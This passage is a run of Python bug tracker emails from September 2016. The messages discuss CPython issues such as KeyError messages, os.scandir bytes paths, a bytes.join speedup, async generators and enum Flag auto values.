Subject: [issue27921] f-strings: do not allow backslashes
In-Reply-To: <1472687380.69.0.18258745604.issue27921@psf.upfronthosting.co.za>
Message-ID: <1473268798.69.0.397176386645.issue27921@psf.upfronthosting.co.za>


Eric V. Smith added the comment:

Issue 28002 tracks the problem with Tools/parser/unparse.py.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27921>
_______________________________________

From report at bugs.python.org  Wed Sep  7 13:26:16 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 07 Sep 2016 17:26:16 +0000
Subject: [issue2651] Strings passed to KeyError do not round trip
In-Reply-To: <1208453081.65.0.886847251895.issue2651@psf.upfronthosting.co.za>
Message-ID: <1473269176.13.0.0483743080561.issue2651@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

The current behavior seems to be a recurring source of confusion and bugs, so something needs to change.  I'm thinking that the least egregious thing to do is to remove (in 3.6) the special case code for KeyError.  The small downside is that KeyError('')  wouldn't look as good.  The benefit is that we eliminate an unexpected special case and make KeyErrors behave like all the other exceptions including LookupError. 

I'm against the two-args solution as being too disruptive.  Since args[0] is currently the only reliable way of extracting the key, prepending a message field will likely break much existing code that really wants to access the key.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue2651>
_______________________________________

From report at bugs.python.org  Wed Sep  7 13:26:36 2016
From: report at bugs.python.org (R. David Murray)
Date: Wed, 07 Sep 2016 17:26:36 +0000
Subject: [issue22233] http.client splits headers on non-\r\n characters
In-Reply-To: <1408528953.84.0.772180232607.issue22233@psf.upfronthosting.co.za>
Message-ID: <1473269196.51.0.0699523516309.issue22233@psf.upfronthosting.co.za>


Changes by R. David Murray <rdmurray at bitdance.com>:


----------
stage: patch review -> commit review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22233>
_______________________________________

From report at bugs.python.org  Wed Sep  7 13:26:59 2016
From: report at bugs.python.org (R. David Murray)
Date: Wed, 07 Sep 2016 17:26:59 +0000
Subject: [issue22233] http.client splits headers on non-\r\n characters
In-Reply-To: <1408528953.84.0.772180232607.issue22233@psf.upfronthosting.co.za>
Message-ID: <1473269219.08.0.704094682906.issue22233@psf.upfronthosting.co.za>


Changes by R. David Murray <rdmurray at bitdance.com>:


Added file: http://bugs.python.org/file44442/crlf-headers2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22233>
_______________________________________

From report at bugs.python.org  Wed Sep  7 13:27:24 2016
From: report at bugs.python.org (R. David Murray)
Date: Wed, 07 Sep 2016 17:27:24 +0000
Subject: [issue22233] http.client splits headers on non-\r\n characters
In-Reply-To: <1408528953.84.0.772180232607.issue22233@psf.upfronthosting.co.za>
Message-ID: <1473269244.43.0.664709748027.issue22233@psf.upfronthosting.co.za>


Changes by R. David Murray <rdmurray at bitdance.com>:


Removed file: http://bugs.python.org/file44441/crlf-headers2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22233>
_______________________________________

From report at bugs.python.org  Wed Sep  7 13:29:36 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Wed, 07 Sep 2016 17:29:36 +0000
Subject: [issue28003] PEP 525 asynchronous generators implementation
Message-ID: <1473269374.39.0.509274285807.issue28003@psf.upfronthosting.co.za>


New submission from Yury Selivanov:

The PEP has been accepted, let's review the reference implementation and get it committed.

----------
assignee: yselivanov
components: Interpreter Core
files: asyncgen_1.patch
keywords: patch
messages: 274845
nosy: haypo, lukasz.langa, yselivanov
priority: normal
severity: normal
stage: patch review
status: open
title: PEP 525 asynchronous generators implementation
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file44443/asyncgen_1.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28003>
_______________________________________

From report at bugs.python.org  Wed Sep  7 13:31:03 2016
From: report at bugs.python.org (Steve Dower)
Date: Wed, 07 Sep 2016 17:31:03 +0000
Subject: [issue27998] Add support of bytes paths in os.scandir()
In-Reply-To: <1473236470.81.0.837469962495.issue27998@psf.upfronthosting.co.za>
Message-ID: <1473269463.19.0.68318552035.issue27998@psf.upfronthosting.co.za>


Steve Dower added the comment:

Guido just said that we should make sure that os.scandir() continues to not support bytes, even after the patch for issue27781 goes in, so I'm reopening this.

----------
dependencies: +Change sys.getfilesystemencoding() on Windows to UTF-8
nosy: +gvanrossum
resolution: duplicate -> 
stage: resolved -> needs patch
status: closed -> open
superseder: Change sys.getfilesystemencoding() on Windows to UTF-8 -> 
type: enhancement -> behavior
versions: +Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27998>
_______________________________________

From report at bugs.python.org  Wed Sep  7 13:31:04 2016
From: report at bugs.python.org (Antoine Pitrou)
Date: Wed, 07 Sep 2016 17:31:04 +0000
Subject: [issue2651] Strings passed to KeyError do not round trip
In-Reply-To: <1208453081.65.0.886847251895.issue2651@psf.upfronthosting.co.za>
Message-ID: <1473269464.42.0.236239062268.issue2651@psf.upfronthosting.co.za>


Antoine Pitrou added the comment:

What are you suggesting? Something like:

  KeyError: key 'foobar' not found in dict

? If so, +1 from me.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue2651>
_______________________________________

From report at bugs.python.org  Wed Sep  7 13:31:25 2016
From: report at bugs.python.org (Steve Dower)
Date: Wed, 07 Sep 2016 17:31:25 +0000
Subject: [issue27998] Remove support of bytes paths in os.scandir()
In-Reply-To: <1473236470.81.0.837469962495.issue27998@psf.upfronthosting.co.za>
Message-ID: <1473269485.59.0.741860932205.issue27998@psf.upfronthosting.co.za>


Changes by Steve Dower <steve.dower at python.org>:


----------
title: Add support of bytes paths in os.scandir() -> Remove support of bytes paths in os.scandir()

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27998>
_______________________________________

From report at bugs.python.org  Wed Sep  7 13:40:32 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 07 Sep 2016 17:40:32 +0000
Subject: [issue27998] Remove support of bytes paths in os.scandir()
In-Reply-To: <1473236470.81.0.837469962495.issue27998@psf.upfronthosting.co.za>
Message-ID: <1473270032.71.0.071936742386.issue27998@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

But why? The code of os and glob modules could be simpler if add the support.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27998>
_______________________________________

From report at bugs.python.org  Wed Sep  7 13:43:38 2016
From: report at bugs.python.org (R. David Murray)
Date: Wed, 07 Sep 2016 17:43:38 +0000
Subject: [issue27988] email iter_attachments can mutate the payload
In-Reply-To: <1473213436.61.0.0831325497078.issue27988@psf.upfronthosting.co.za>
Message-ID: <1473270218.06.0.967795964074.issue27988@psf.upfronthosting.co.za>


R. David Murray added the comment:

I forgot the # on the issue number in the commit.  The hashes are:

3.5 3bf2f6818719
3.6 69da5242aae3

----------
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27988>
_______________________________________

From report at bugs.python.org  Wed Sep  7 13:45:55 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 07 Sep 2016 17:45:55 +0000
Subject: [issue27998] Remove support of bytes paths in os.scandir()
In-Reply-To: <1473236470.81.0.837469962495.issue27998@psf.upfronthosting.co.za>
Message-ID: <1473270355.77.0.401339756981.issue27998@psf.upfronthosting.co.za>


STINNER Victor added the comment:

I'm ok to support os.scandir(bytes) on Windows.

My long term goal was to drop bytes support on Windows, but it seems like the new trend is more to keep this support and even enhance it.

It's quite easy to support os.scandir(bytes) on Windows, whereas it seems tricky and annoying to have to emulate the feature in pure Python.

Note: I was the BDFL-delegate for the PEP 471 ;-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27998>
_______________________________________

From report at bugs.python.org  Wed Sep  7 13:48:01 2016
From: report at bugs.python.org (Steve Dower)
Date: Wed, 07 Sep 2016 17:48:01 +0000
Subject: [issue27998] Remove support of bytes paths in os.scandir()
In-Reply-To: <1473236470.81.0.837469962495.issue27998@psf.upfronthosting.co.za>
Message-ID: <1473270481.74.0.857534321044.issue27998@psf.upfronthosting.co.za>


Steve Dower added the comment:

There are only two references to bytes in the pep:

> Like the other functions in the os module, scandir() accepts either a 
> bytes or str object for the path parameter, and returns the 
> DirEntry.name and DirEntry.path attributes with the same type as
> path . However, it is strongly recommended to use the str type, as
> this ensures cross-platform support for Unicode filenames. (On
> Windows, bytes filenames have been deprecated since Python 3.3). 

I'm not concerned about supporting bytes here (with PEP 529, obviously), though the strong recommendation to use str should certainly stand.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27998>
_______________________________________

From report at bugs.python.org  Wed Sep  7 13:58:27 2016
From: report at bugs.python.org (Ned Deily)
Date: Wed, 07 Sep 2016 17:58:27 +0000
Subject: [issue27899] Apostrophe is not replace with &apos;
 ElementTree.tostring (also in Element.write)
In-Reply-To: <1472577505.85.0.700751415342.issue27899@psf.upfronthosting.co.za>
Message-ID: <1473271107.15.0.356906992898.issue27899@psf.upfronthosting.co.za>


Changes by Ned Deily <nad at python.org>:


----------
nosy: +scoder -skrah

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27899>
_______________________________________

From report at bugs.python.org  Wed Sep  7 14:02:23 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 18:02:23 +0000
Subject: [issue26209] TypeError in smtpd module with string arguments
In-Reply-To: <1453840478.59.0.371405366995.issue26209@psf.upfronthosting.co.za>
Message-ID: <20160907180220.1062.86254.6F024D61@psf.io>


Roundup Robot added the comment:

New changeset 1ed37f6e91bb by R David Murray in branch '3.5':
#26209: Clarify type of *localaddr*/*remoteadr* in smtpd docs.
https://hg.python.org/cpython/rev/1ed37f6e91bb

New changeset fe2ca2216334 by R David Murray in branch 'default':
Merge: #26209: Clarify type of *localaddr*/*remoteadr* in smtpd docs.
https://hg.python.org/cpython/rev/fe2ca2216334

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26209>
_______________________________________

From report at bugs.python.org  Wed Sep  7 14:08:17 2016
From: report at bugs.python.org (R. David Murray)
Date: Wed, 07 Sep 2016 18:08:17 +0000
Subject: [issue26209] TypeError in smtpd module with string arguments
In-Reply-To: <1453840478.59.0.371405366995.issue26209@psf.upfronthosting.co.za>
Message-ID: <1473271697.6.0.641386113148.issue26209@psf.upfronthosting.co.za>


R. David Murray added the comment:

Thanks for the patch, Ram.  I started from your patch but further clarified exactly what the tuple is by linking to the actual documentation in the socket docs of what a (host, port) tuple looks like.  I'll apply my patch to 2.7 as well as soon as I confirm the docs build correctly.

----------
nosy: +r.david.murray

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26209>
_______________________________________

From report at bugs.python.org  Wed Sep  7 14:10:38 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 18:10:38 +0000
Subject: [issue26209] TypeError in smtpd module with string arguments
In-Reply-To: <1453840478.59.0.371405366995.issue26209@psf.upfronthosting.co.za>
Message-ID: <20160907181010.31352.59889.2BD2DB8E@psf.io>


Roundup Robot added the comment:

New changeset 7aaf8cff23e5 by R David Murray in branch '2.7':
#26209: Clarify type of *localaddr*/*remoteadr* in smtpd docs.
https://hg.python.org/cpython/rev/7aaf8cff23e5

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26209>
_______________________________________

From report at bugs.python.org  Wed Sep  7 14:11:15 2016
From: report at bugs.python.org (R. David Murray)
Date: Wed, 07 Sep 2016 18:11:15 +0000
Subject: [issue26209] TypeError in smtpd module with string arguments
In-Reply-To: <1453840478.59.0.371405366995.issue26209@psf.upfronthosting.co.za>
Message-ID: <1473271875.64.0.879977002713.issue26209@psf.upfronthosting.co.za>


Changes by R. David Murray <rdmurray at bitdance.com>:


----------
dependencies:  -Deprecate smtpd (based on deprecated asyncore/asynchat): write a new smtp server with asyncio
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26209>
_______________________________________

From report at bugs.python.org  Wed Sep  7 14:15:06 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 07 Sep 2016 18:15:06 +0000
Subject: [issue28004] Optimize bytes.join(sequence)
Message-ID: <1473272106.7.0.875359968235.issue28004@psf.upfronthosting.co.za>


New submission from STINNER Victor:

The article https://atleastfornow.net/blog/not-all-bytes/ says that bytes.join(sequence) is slower on Python 3 compared to Python 2.

I compared Python 2 and Python 3 code: the main different seems to be that Python 3 uses the Py_buffer API to support more types than only bytes, and that it allocates a buffer (on the C stack or on the heap memory) of Py_buffer objects.

Attached patch makes bytes.join(sequence) up to 29% faster. The patch avoids the Py_buffer API and the allocation of the temporary array of Py_buffer if all items are bytes or bytearray.


I'm not 100% sure that it's worth it to optimize bytes.join().

On Python 2, bytes += bytes uses an hack in Python/ceval.c to optimize this instruction. On Python 3, the optimization is only applied to str += str (unicode), bytes += bytes is inefficient. To get best performances on Python 2 and Python 3, bytes.join(sequence) is better than bytes+=bytes.


Microbenchmark commands:

$ ./python -m perf timeit -s "sep=b''; seq=(b'hello', b'world')" 'sep.join(seq)'
$ ./python -m perf timeit -s "sep=b''; seq=(b'hello', b'world', b'. ') * 100" 'sep.join(seq)'

Python 3.6 => patched Python3.6:

* 2 items: 92.1 ns +- 1.8 ns => 90.3 ns +- 3.1 ns (-2%)
* 300 items: 3.11 us +- 0.07 us => 2.22 us +- 0.11 us (-29%)


--


I'm not sure that Python 3 is really slower than Python 2 :-/ Python 3.5 is 10 ns slower tha Python 2.7 for sequence of 2 items, but it's 6% faster for 300 items.

So the question is if it's worth it to optimize bytes.join().

Python 2:

* 2 items: 87.7 ns +- 3.7 ns
* 300 items: 3.25 us +- 0.11 us

Python 3.5:

* 2 items: 97.4 ns +- 9.0 ns
* 300 items: 3.06 us +- 0.20 us

----------
files: bytes_join.patch
keywords: patch
messages: 274855
nosy: haypo, serhiy.storchaka
priority: normal
severity: normal
status: open
title: Optimize bytes.join(sequence)
type: performance
versions: Python 3.6
Added file: http://bugs.python.org/file44444/bytes_join.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28004>
_______________________________________

From report at bugs.python.org  Wed Sep  7 14:17:08 2016
From: report at bugs.python.org (Eric Snow)
Date: Wed, 07 Sep 2016 18:17:08 +0000
Subject: [issue28005] Broken encoding modules are silently skipped.
Message-ID: <1473272228.69.0.973027040329.issue28005@psf.upfronthosting.co.za>


New submission from Eric Snow:

In Lib/encodings/__init__.py, search_function() looks up an encoding by name.  It loads the encoding by importing the corresponding module in the encodings package.  If there's an ImportError while importing that module then the encoding gets silently ignored.  I noticed this while working on issue #16384.

While I don't have any direct interest in the matter, I expect that it would be more useful to users if we issued a warning or some other printed message when an encoding is ignored.

----------
components: Interpreter Core
messages: 274856
nosy: eric.snow
priority: normal
severity: normal
stage: test needed
status: open
title: Broken encoding modules are silently skipped.
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28005>
_______________________________________

From report at bugs.python.org  Wed Sep  7 14:19:55 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 07 Sep 2016 18:19:55 +0000
Subject: [issue25856] The __module__ attribute of non-heap classes is not
 interned
In-Reply-To: <1450023464.36.0.165437491365.issue25856@psf.upfronthosting.co.za>
Message-ID: <1473272395.39.0.192109361244.issue25856@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Good catch Benjamin! There is yet one bug -- the type type already has the __module__ attribute, but it is a descriptor, not a string.

Updated patch fixes these bugs.

----------
Added file: http://bugs.python.org/file44445/intern_and_cache___module__3.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25856>
_______________________________________

From report at bugs.python.org  Wed Sep  7 14:25:09 2016
From: report at bugs.python.org (Eric Snow)
Date: Wed, 07 Sep 2016 18:25:09 +0000
Subject: [issue16384] import.c doesn't handle EOFError from PyMarshal_Read*
In-Reply-To: <1351796179.35.0.165892579115.issue16384@psf.upfronthosting.co.za>
Message-ID: <1473272709.53.0.681228556704.issue16384@psf.upfronthosting.co.za>


Eric Snow added the comment:

Here's an updated patch.  Per a suggestion from Brett, I've chained the original EOFError with an ImportError.  The consequence is that the problematic encoding is skipped (silently) rather than causing the interpreter to abort.

FYI, I've opened issue #28005 to address how we silently skip encodings that fail to import.

----------
Added file: http://bugs.python.org/file44446/issue16384.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16384>
_______________________________________

From report at bugs.python.org  Wed Sep  7 14:26:01 2016
From: report at bugs.python.org (Eric Snow)
Date: Wed, 07 Sep 2016 18:26:01 +0000
Subject: [issue16384] import.c doesn't handle EOFError from PyMarshal_Read*
In-Reply-To: <1351796179.35.0.165892579115.issue16384@psf.upfronthosting.co.za>
Message-ID: <1473272761.56.0.409699222308.issue16384@psf.upfronthosting.co.za>


Changes by Eric Snow <ericsnowcurrently at gmail.com>:


Removed file: http://bugs.python.org/file44424/issue16384.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16384>
_______________________________________

From report at bugs.python.org  Wed Sep  7 14:28:12 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Wed, 07 Sep 2016 18:28:12 +0000
Subject: [issue27975] math.isnan(int) and math.isinf(int) should not raise
 OverflowError
In-Reply-To: <1473181473.32.0.514007439316.issue27975@psf.upfronthosting.co.za>
Message-ID: <1473272892.03.0.610358755602.issue27975@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

Closing this as "won't fix". I agree with Tim that the right way to handle this is to make math.isnan behave like math.floor and math.ceil currently do, via new special methods, but (1) I think introducing new special methods should probably be a PEP-level change, and (2) I'm afraid I'm not motivated enough to implement it, so it's going to have to wait on someone who has that motivation.

----------
resolution:  -> wont fix
stage:  -> resolved
status: open -> closed
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27975>
_______________________________________

From report at bugs.python.org  Wed Sep  7 14:29:49 2016
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Wed, 07 Sep 2016 18:29:49 +0000
Subject: [issue2651] Strings passed to KeyError do not round trip
In-Reply-To: <1208453081.65.0.886847251895.issue2651@psf.upfronthosting.co.za>
Message-ID: <1473272989.04.0.313182186216.issue2651@psf.upfronthosting.co.za>


?ukasz Langa added the comment:

No, the suggestion is to only adopt the first part of the patch from 2010, which is to revert KeyError to behave like LookupError again:

  >>> print(LookupError('key'))
  key
  >>> print(KeyError('key'), 'now')
  'key' now
  >>> print(KeyError('key'), 'in 3.6')
  key in 3.6

In other words, there is no descriptive message while stringifying KeyError. Having an API with two arguments was disruptive because it moved the key from e.args[0] to e.args[1].

Raymond, would it be acceptable to create a two-argument form where the *second* argument is the message? That way we could make descriptive error messages for dicts, sets, etc. possible. In this world:

  >>> print(KeyError('key', 'key {!r} not found in dict'), 'in 3.6')
  key 'key' not found in dict in 3.6

Do you think any code depends on `str(e) == str(e.args[0])`?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue2651>
_______________________________________

From report at bugs.python.org  Wed Sep  7 14:30:00 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Wed, 07 Sep 2016 18:30:00 +0000
Subject: [issue25856] The __module__ attribute of non-heap classes is not
 interned
In-Reply-To: <1450023464.36.0.165437491365.issue25856@psf.upfronthosting.co.za>
Message-ID: <1473273000.98.0.0880919998818.issue25856@psf.upfronthosting.co.za>


Benjamin Peterson added the comment:

I don't understand why you need to check the validity of tp_dict at all. We generally assume it's a dict.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25856>
_______________________________________

From report at bugs.python.org  Wed Sep  7 14:36:12 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 07 Sep 2016 18:36:12 +0000
Subject: [issue25856] The __module__ attribute of non-heap classes is not
 interned
In-Reply-To: <1450023464.36.0.165437491365.issue25856@psf.upfronthosting.co.za>
Message-ID: <1473273372.6.0.311087163037.issue25856@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Indeed, the PyDict_Check() check can be omitted.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25856>
_______________________________________

From report at bugs.python.org  Wed Sep  7 14:40:12 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Wed, 07 Sep 2016 18:40:12 +0000
Subject: [issue25856] The __module__ attribute of non-heap classes is not
 interned
In-Reply-To: <1473273372.6.0.311087163037.issue25856@psf.upfronthosting.co.za>
Message-ID: <1473273609.874442.718738929.4F8D1B1C@webmail.messagingengine.com>


Benjamin Peterson added the comment:

I don't think it can be NULL either.

On Wed, Sep 7, 2016, at 11:36, Serhiy Storchaka wrote:
> 
> Serhiy Storchaka added the comment:
> 
> Indeed, the PyDict_Check() check can be omitted.
> 
> ----------
> 
> _______________________________________
> Python tracker <report at bugs.python.org>
> <http://bugs.python.org/issue25856>
> _______________________________________

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25856>
_______________________________________

From report at bugs.python.org  Wed Sep  7 14:40:53 2016
From: report at bugs.python.org (Antoine Pitrou)
Date: Wed, 07 Sep 2016 18:40:53 +0000
Subject: [issue2651] Strings passed to KeyError do not round trip
In-Reply-To: <1208453081.65.0.886847251895.issue2651@psf.upfronthosting.co.za>
Message-ID: <1473273653.64.0.768221051516.issue2651@psf.upfronthosting.co.za>


Antoine Pitrou added the comment:

> No, the suggestion is to only adopt the first part of the patch from 2010, which is to revert KeyError to behave like LookupError again

That ship has sailed long ago. 2.7, 3.4 and 3.5 (the three major Python versions currently in use) all have the same behaviour, and nobody seems to complain very loudly:

>>> {}['foo']
Traceback (most recent call last):
  File "<ipython-input-2-3761c7dc3711>", line 1, in <module>
    {}['foo']
KeyError: 'foo'

>>> KeyError('foo')
KeyError('foo')
>>> print(KeyError('foo'))
'foo'

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue2651>
_______________________________________

From report at bugs.python.org  Wed Sep  7 14:43:49 2016
From: report at bugs.python.org (Eric Snow)
Date: Wed, 07 Sep 2016 18:43:49 +0000
Subject: [issue15767] add ModuleNotFoundError
In-Reply-To: <1345664718.23.0.712313947558.issue15767@psf.upfronthosting.co.za>
Message-ID: <1473273829.58.0.117745984458.issue15767@psf.upfronthosting.co.za>


Changes by Eric Snow <ericsnowcurrently at gmail.com>:


----------
assignee: brett.cannon -> eric.snow
resolution: rejected -> 
stage:  -> needs patch
status: closed -> open
versions: +Python 3.6 -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15767>
_______________________________________

From report at bugs.python.org  Wed Sep  7 14:45:24 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 07 Sep 2016 18:45:24 +0000
Subject: [issue25856] The __module__ attribute of non-heap classes is not
 interned
In-Reply-To: <1450023464.36.0.165437491365.issue25856@psf.upfronthosting.co.za>
Message-ID: <1473273924.38.0.0514602122537.issue25856@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

It can be NULL in very rare cases. See for example issue26906.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25856>
_______________________________________

From report at bugs.python.org  Wed Sep  7 14:52:24 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Wed, 07 Sep 2016 18:52:24 +0000
Subject: [issue15767] add ModuleNotFoundError
In-Reply-To: <1345664718.23.0.712313947558.issue15767@psf.upfronthosting.co.za>
Message-ID: <1473274344.43.0.774550341616.issue15767@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

+1 to add this to 3.6b1.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15767>
_______________________________________

From report at bugs.python.org  Wed Sep  7 14:54:52 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 07 Sep 2016 18:54:52 +0000
Subject: [issue28006] Remove tracing overhead from the fine-grained fast
 opcodes
Message-ID: <1473274492.45.0.298672854807.issue28006@psf.upfronthosting.co.za>


New submission from Raymond Hettinger:

The fast opcodes are ones where we bypass signal/event checking, but they still have the overhead of checking for tracing enabled (this doesn't seem like much, it adds a memory access and can take almost half the time for some of these already quick opcodes).

I haven't seen an effect on the upstream line level tracing but this needs a second look to be sure there isn't an unanticipated consequence.

----------
assignee: steve.dower
components: Interpreter Core
files: trace.diff
keywords: patch
messages: 274867
nosy: rhettinger, steve.dower
priority: normal
severity: normal
stage: patch review
status: open
title: Remove tracing overhead from the fine-grained fast opcodes
type: performance
versions: Python 3.6
Added file: http://bugs.python.org/file44447/trace.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28006>
_______________________________________

From report at bugs.python.org  Wed Sep  7 14:55:07 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 07 Sep 2016 18:55:07 +0000
Subject: [issue28006] Remove tracing overhead from the fine-grained fast
 opcodes
In-Reply-To: <1473274492.45.0.298672854807.issue28006@psf.upfronthosting.co.za>
Message-ID: <1473274507.08.0.325280001003.issue28006@psf.upfronthosting.co.za>


Changes by STINNER Victor <victor.stinner at gmail.com>:


----------
nosy: +haypo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28006>
_______________________________________

From report at bugs.python.org  Wed Sep  7 15:03:34 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 07 Sep 2016 19:03:34 +0000
Subject: [issue28004] Optimize bytes.join(sequence)
In-Reply-To: <1473272106.7.0.875359968235.issue28004@psf.upfronthosting.co.za>
Message-ID: <1473275014.28.0.523664792216.issue28004@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +pitrou

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28004>
_______________________________________

From report at bugs.python.org  Wed Sep  7 15:09:12 2016
From: report at bugs.python.org (Ethan Furman)
Date: Wed, 07 Sep 2016 19:09:12 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1473275352.84.0.448168164822.issue23591@psf.upfronthosting.co.za>


Ethan Furman added the comment:

Any problems with:

class Color(Enum):  # or Color(Flag)
  red = _auto_
  green = _auto_
  blue = _auto_

In other words:
- is the missing parenthesis an issue?
- are linters/checkers/IDEs going to have (or report) problems with that?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Wed Sep  7 15:12:57 2016
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Wed, 07 Sep 2016 19:12:57 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1473275577.47.0.547907316095.issue23591@psf.upfronthosting.co.za>


Vedran ?a?i? added the comment:

For me, it is an issue. But you probably already know that.
(http://bugs.python.org/issue26988#msg273125) (That's "the other thread".)

Try to explain: how exactly is that different than wanting "file.close" to close the file, or "quit" to quit the REPL? And I surely hope we're not going in that direction.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Wed Sep  7 15:14:38 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 07 Sep 2016 19:14:38 +0000
Subject: [issue28006] Remove tracing overhead from the fine-grained fast
 opcodes
In-Reply-To: <1473274492.45.0.298672854807.issue28006@psf.upfronthosting.co.za>
Message-ID: <1473275678.94.0.703689992899.issue28006@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28006>
_______________________________________

From report at bugs.python.org  Wed Sep  7 15:36:02 2016
From: report at bugs.python.org (Ethan Furman)
Date: Wed, 07 Sep 2016 19:36:02 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1473276962.58.0.622052687946.issue23591@psf.upfronthosting.co.za>


Ethan Furman added the comment:

> For me, it is an issue. But you probably already know that.
>(http://bugs.python.org/issue26988#msg273125) (That's "the other thread".)

Ah, thanks.  I had forgotten about that one.

For what it's worth, I largely agree with you there.

> Try to explain: how exactly is that different than wanting "file.close"
> to close the file, or "quit" to quit the REPL?

Enum is already full of magic:
- class is iterable
- class is indexable
- member attributes are instances of class
- members are all created when class is created
- etc.

Flag, especially, needs a way to specify "give me a working value" even when the user doesn't care what that value is (as your, um, interesting examples have shown ;).

Whatever we choose as the placeholder (since it has been decided that no placeholder is too magical) will still have magic involved, so I don't want parenthesis there disguising that.

I'd also be happy with _member_ instead of _auto_ -- maybe that makes even more sense.

> And I surely hope we're not going in that direction [dropping parens from function calls].

No, we're not.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Wed Sep  7 15:47:39 2016
From: report at bugs.python.org (Sohaib Ahmad)
Date: Wed, 07 Sep 2016 19:47:39 +0000
Subject: [issue27973] urllib.urlretrieve() fails on second ftp transfer
In-Reply-To: <1473174596.52.0.952829730129.issue27973@psf.upfronthosting.co.za>
Message-ID: <1473277659.17.0.522268990579.issue27973@psf.upfronthosting.co.za>


